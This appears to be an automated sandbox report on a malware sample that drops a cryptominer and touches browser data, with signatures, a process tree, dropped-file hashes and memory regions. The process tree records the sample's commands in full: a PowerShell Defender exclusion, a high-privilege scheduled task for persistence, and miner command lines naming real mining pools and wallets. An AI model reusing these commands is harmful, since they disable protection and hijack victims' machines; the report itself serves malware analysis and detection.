Analysis

  • max time kernel
    117s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/01/2023, 19:19

General

  • Target
    file.exe
  • Size 793KB
  • Sample230102-x1hexafg29
  • SHA256 f9a178c79497c66ee786f78ca40984758c41fa779f9eddbebdd69cbb5240b90a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detectes Phoenix Miner Payload 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3540
    • C:\Users\Admin\AppData\Local\Temp\wpbbstxebgxhpelx.exe
      "C:\Users\Admin\AppData\Local\Temp\wpbbstxebgxhpelx.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:912
      • C:\Users\Admin\AppData\Local\Temp\ghoul.exe
        "C:\Users\Admin\AppData\Local\Temp\ghoul.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2476
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1456
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:384
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PFCIA" /tr "C:\ProgramData\Adobe\PFCIA.exe"
            5⤵
            • Creates scheduled task(s)
            PID:1292
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RN9B8LkT5BcYXbc4ZVMYitfgKaA1wwbXwy.work -p x -t 3
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3800
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c cls
            5⤵
              PID:4376
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe -pool ssl://eu1-etc.ethermine.org:5555 -wal 0x20caf9B2c7aB54C3cB949F1489DD697327131861.Rig001 -coin etc -log 0
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            PID:1420
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3540 -s 756
        2⤵
        • Program crash
        PID:4260
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3540 -ip 3540
      1⤵
        PID:3872

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            freebl3.dll

            • Path C:\Users\Admin\AppData\Local\Temp\freebl3.dll
            • Size 669KB
            • SHA256 a5396eba9d0564f4bcbafd5a8c4a4019b4b50a5c70a42aef5491a230d21f2922
            • MD5 SHA1 SHA512 SSDEEP

            ghoul.exe

            • Path C:\Users\Admin\AppData\Local\Temp\ghoul.exe
            • Size 899KB
            • SHA256 5f1c900332c6ce00349719a6eccd13894fc312f2b6460d7f419ca49172c8623a
            • MD5 SHA1 SHA512 SSDEEP

            ghoul.exe

            • Path C:\Users\Admin\AppData\Local\Temp\ghoul.exe
            • Size 899KB
            • SHA256 5f1c900332c6ce00349719a6eccd13894fc312f2b6460d7f419ca49172c8623a
            • MD5 SHA1 SHA512 SSDEEP

            mozglue.dll

            • Path C:\Users\Admin\AppData\Local\Temp\mozglue.dll
            • Size 627KB
            • SHA256 bcbf8c8ba4386b7716d5481ef9d089b9448990736d3eebdcfa611a09045c3ec3
            • MD5 SHA1 SHA512 SSDEEP

            nss3.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nss3.dll
            • Size 2.0MB
            • SHA256 0bce97e8f6cc435250fb6aea0441e4146c7c8f8d90a9b1e76dfabd8701bfd882
            • MD5 SHA1 SHA512 SSDEEP

            softokn3.dll

            • Path C:\Users\Admin\AppData\Local\Temp\softokn3.dll
            • Size 251KB
            • SHA256 c10801dba6c50237dba700fe2be920f091792e45c32e00db7c63c2c19a35f3a5
            • MD5 SHA1 SHA512 SSDEEP

            wpbbstxebgxhpelx.exe

            • Path C:\Users\Admin\AppData\Local\Temp\wpbbstxebgxhpelx.exe
            • Size 1.5MB
            • SHA256 5fe74ecfd6a9eeef45bed3760e4511c300dc843d17120361e5abd021cc107567
            • MD5 SHA1 SHA512 SSDEEP

            wpbbstxebgxhpelx.exe

            • Path C:\Users\Admin\AppData\Local\Temp\wpbbstxebgxhpelx.exe
            • Size 1.5MB
            • SHA256 5fe74ecfd6a9eeef45bed3760e4511c300dc843d17120361e5abd021cc107567
            • MD5 SHA1 SHA512 SSDEEP

            memory/912-138-0x00000000053B0000-0x00000000053BA000-memory.dmp

            memory/912-135-0x0000000000600000-0x000000000078C000-memory.dmp

            memory/912-136-0x0000000005730000-0x0000000005CD4000-memory.dmp

            memory/912-137-0x00000000053C0000-0x0000000005452000-memory.dmp

            memory/1420-176-0x0000000140000000-0x000000014082B000-memory.dmp

            memory/1420-179-0x0000000140000000-0x000000014082B000-memory.dmp

            memory/1420-180-0x0000000140000000-0x000000014082B000-memory.dmp

            memory/1420-173-0x0000000140000000-0x000000014082B000-memory.dmp

            memory/1420-175-0x0000000140000000-0x000000014082B000-memory.dmp

            memory/1420-177-0x0000000140000000-0x000000014082B000-memory.dmp

            memory/1456-146-0x00007FFF1C630000-0x00007FFF1D0F1000-memory.dmp

            memory/1456-145-0x000002C873050000-0x000002C873072000-memory.dmp

            memory/2476-142-0x0000000000560000-0x0000000000646000-memory.dmp

            memory/2476-163-0x00007FFF1C630000-0x00007FFF1D0F1000-memory.dmp

            memory/2476-143-0x00007FFF1C630000-0x00007FFF1D0F1000-memory.dmp

            memory/2476-178-0x00007FFF1C630000-0x00007FFF1D0F1000-memory.dmp

            memory/3540-147-0x0000000061E00000-0x0000000061EF3000-memory.dmp

            memory/3540-157-0x0000000061E00000-0x0000000061EF3000-memory.dmp

            memory/3540-162-0x0000000061E00000-0x0000000061EF3000-memory.dmp

            memory/3800-166-0x0000000140000000-0x00000001400C6000-memory.dmp

            memory/3800-172-0x0000000140000000-0x00000001400C6000-memory.dmp

            memory/3800-171-0x0000000140000000-0x00000001400C6000-memory.dmp

            memory/3800-169-0x0000000140000000-0x00000001400C6000-memory.dmp

            memory/3800-168-0x0000000140000000-0x00000001400C6000-memory.dmp